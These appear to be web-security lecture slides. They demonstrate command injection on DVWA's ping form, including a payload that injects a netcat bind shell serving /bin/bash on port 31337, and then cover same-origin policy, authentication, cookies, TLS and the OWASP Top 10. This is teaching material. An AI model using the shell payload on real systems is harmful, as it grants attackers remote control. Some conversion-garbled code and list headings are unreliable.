## **Parameter Injection**


### 1. http://site.com/exec/



<h2>Ping for FREE</h2>

```
POST /dvwa/vulnerabilities/exec/ HTTP/1.1
       Host: 172.16.59.128
                                                     ip input
       ip=127.0.0.1&submit=submit
            Client
                                                   Server
                Send output
                                    t = REQUEST['ip'];
                                   so = shell_exec('ping - C 3' . st);
                                   echo $o
                                            PHP exec program
<h2>Ping for FREE</h2>
Enter an IP address below:
<form name="ping" action="#" method="post">
<input type="text" name="ip" size="30">
<input type="submit" value="submit" name="submit">
</form>
```

```
POST /dvwa/vulnerabilities/exec/ HTTP/1.1
        Host: 172.16.59.128
                                                             ip input
        ip=127.0.0.1&submit=submit
             Client
                                                           Server
                  2. Send page
                                         t = REQUEST['ip'];
                                         so = shell exec('ping - C 3' . st);
            spot the bug
                                         echo $o
Ping for FREE
Enter an IP address below:
                                                  PHP exec program
                            submit
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp req=1 ttl=64 time=0.015 ms
64 bytes from 127.0.0.1: icmp req=2 ttl=64 time=0.023 ms
64 bytes from 127.0.0.1: icmp req=3 ttl=64 time=0.030 ms
--- 127.0.0.1 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 1999ms
rtt min/avg/max/mdev = 0.015/0.022/0.030/0.008 ms
```



# DEMO Simple Parameter Injection


## **Getting a Shell**

ip=127.0.0.1+%26+netcat+-v+e+'/bin/bash'+-l+-p+31337&submit=submit

netcat –v –e '/bin/bash' –l –p 31337


### **Trust on the Web**

1. Trust that you are visiting the site you think you are




### **Trust on the Web**

2. Trust that the site is benign



## **Trust on the Web**

3. Trust that third-party sites are benign



## **Web Security Model**

- Threat model
  - Attackers cannot intercept, drop, or modify arbitrary traffic
  - DNS is trustworthy
  - SSL CAs are trustworthy
  - Lower network layers are free of vulnerabilities
  - Script cannot escape browser sandbox
- Goal: Isolate web apps from different origins
  - Attacker can control a malicious website that the victim visits

## Origin

### Origin = col, hostname, port>

- Every object is associated with an origin that provides a security context
  - Document object model (DOM)
  - Resources (images, style sheets, scripts, ...)
- The same-origin policy (SOP) states that subjects from one origin cannot access objects from another origin
  - SOP is the basis of classic web security
  - Some exceptions to this policy (e.g., document.domain)
  - SOP restrictions have been relaxed in newer standards (e.g., WebSockets)

### **Authentication**

# How is authentication implemented over a stateless protocol?

- HTTP authentication
- Session cookies
- SSL certificates
- Kerberos
- Secure Remote Password (SRP)

### **HTTP Authentication**

- Access control mechanism built into HTTP
- Server indicates that authentication is required
  - WWW-Authenticate: Basic realm="\$realmID"
- Client submits base64-encoded username and password
  - Authorization: Basic BASE64(\$user:\$password)
  - Should only be performed over HTTPS
  - No "logout" mechanism
- Digest variant uses hash construction (usually MD5)
  - Some improvement over basic authentication

### **Cookies**

- Cookies: a basic mechanism for persistent state
  - Store small amount of data (usually ~4Kb)
  - Often used as authentication credentials
  - Associated with user tracking
- Attributes
  - Domain and path restrict resources for which browser will send cookies
  - Expiration sets how long cookie is valid
  - HttpOnly, Secure
- Manipulated by Set-Cookie, Cookie headers

## **Session Cookie Example**

- 1. Client submits login credentials
- 2. App validates credentials
- 3. App generates and stores a session identifier
  - Hashed, encoded random number
  - Or, encrypted and signed data
- 4. App uses Set-Cookie to set session ID
- 5. Client uses Cookie to submit session ID as part of subsequent requests
- 6. Session dropped by cookie expiration or removing session record

### **Cookies**

### Non-persistent cookies (no expiration set)

- Only stored in memory during browser session
- Good as session cookies

### Secure cookies

Only sent over encrypted (SSL) connections

### **Encrypting cookies sent over insecure connection**

Useless, attacker can perform replay attack

### Cookies that include the client IP address

- Stolen cookie is worthless
- Breaks session if client IP changes during session

## Cookies:

Normal
SECURE
HTTP\_ONLY

### **Session Cookies**

### **Advantages**

- Flexible (authentication delegated to web-app)
- Support for logout (i.e., remove session record)
- Large number or ready-made session management frameworks

### **Disadvantages**

- Flexible (authentication delegated to web-app)
- Users can be tricked into using known session IDs
- Cookies can be replayed if stolen

— ...

## SSL/TLS/HTTPS

- SSL/TLS is a protocol for ensuring the confidentiality and authenticity of other protocols (e.g., HTTP)
  - HTTP wrapped in SSL/TLS → HTTPS
- Relies on X.509 certificates and public key infrastructure
  - Certificates used to check authenticity of server (and optionally the client)
  - Certificate authorities (CAs) are trust anchors for authenticity checks
- In theory, HTTPS should be the strongest part of web security
  - In practice, there are many attacks

# Compromised CAs Can Issue Valid Certificates



## **Compromised CAs Clearly This is Rare ...?!**

#### **2008 - Thawte**

Mike Zusman registers the email address sslcertificates@live.com and uses it to obtain a rogue SSL certificate from Thawte for Microsoft's live.com.

Cause: Thawte allowed domain validation emails to be sent to an email address (sslcertificates@live.com) that wasn't commonly reserved as an administrative address.

Thawte is later acquired by Symantec, which is eventually distrusted by all major platforms due to additional malfeasance.

### **OWASP**

# The Open Web Application Security Project (www.owasp.org)

- OWASP is dedicated to helping organizations understand and improve the security of their web applications and web services.
- The Top Ten vulnerability list was created to point corporations and government agencies to the most serious of these vulnerabilities.
- Web application security has become a hot topic as companies race to make content and services accessible though the web. At the same time, attackers are turning their attention to the common weaknesses created by application developers.

## **OWASP Top 10 (2007)**

### OWASP Top Ten



#### Important note:

#### OWASP Top Ten 2025

Current project status as of Sept 2025:

 We are on track to announce the release of the OWASP Top 10:2025 at the OWASP Global AppSec Conf in DC the first week of Nov 2025.

## **OWASP Top 10 (2007)**

- 1 Injection Flaws (1) (1 in 2013)
- 2 Broken Authentication and Session Management (2)
- 3 Sensitive Data Exposure (-)
- 4 XML External Entities (-)
- 5 Broken Access Control (-)
- 6 Security Misconfiguration (-)
- 7 Cross Site Scripting (XSS) (3)
- 8 Insecure Deserialization (-)
- 9 Using Components with Known Vulnerabilities (-)
- 10Insufficient Logging & Monitoring (-)
- Insecure Direct Object Reference (4)
- Cross Site Request Forgery (8)
- Information Leakage and Improper Error Handling

## **OWASP Top 10**

### **Cross Site Scripting (XSS) (1)**

- The web application can be used as a mechanism to transport the attack to the end user's browser
- XSS allows attackers to execute script in the user's browser which can hijack a user's sessions, deface websites, and possibly introduce worms

### Injection Flaws (SQL Injection in particular)(7)

- Injection occurs when user supplied data is sent to an interpreter as part of a command or query
- The attacker's hostile data tricks the interpreter into executing unintended commands, or modify data

## **OWASP Top 10**

### **Malicious File Execution**

- Code vulnerable to remote file inclusion (RFI) allows attackers to include hostile code and data, often leading to a total server compromise
- Malicious file execution attacks affect PHP, XML and any framework which accepts filenames or files from users

### **Insecure Direct Object Reference**

- A direct object reference occurs when a developer exposes a reference to an internal implementation object, such as a file, directory, database record, or key, as a URL or form parameter.
- Attackers can manipulate those references to access other objects without authorization.

## **OWASP Top 10**

### **Cross Site Request Forgery (CSRF) (-)**

 A CSRF attack forces a logged-on victim's browser to send a pre-authenticated request to a vulnerable web application

## Broken Authentication and Session Management (2)

- Account credentials and session tokens are often not properly protected.
- Attackers compromise passwords, keys, or authentication tokens to assume other users' identities.

# Questions?

## **END**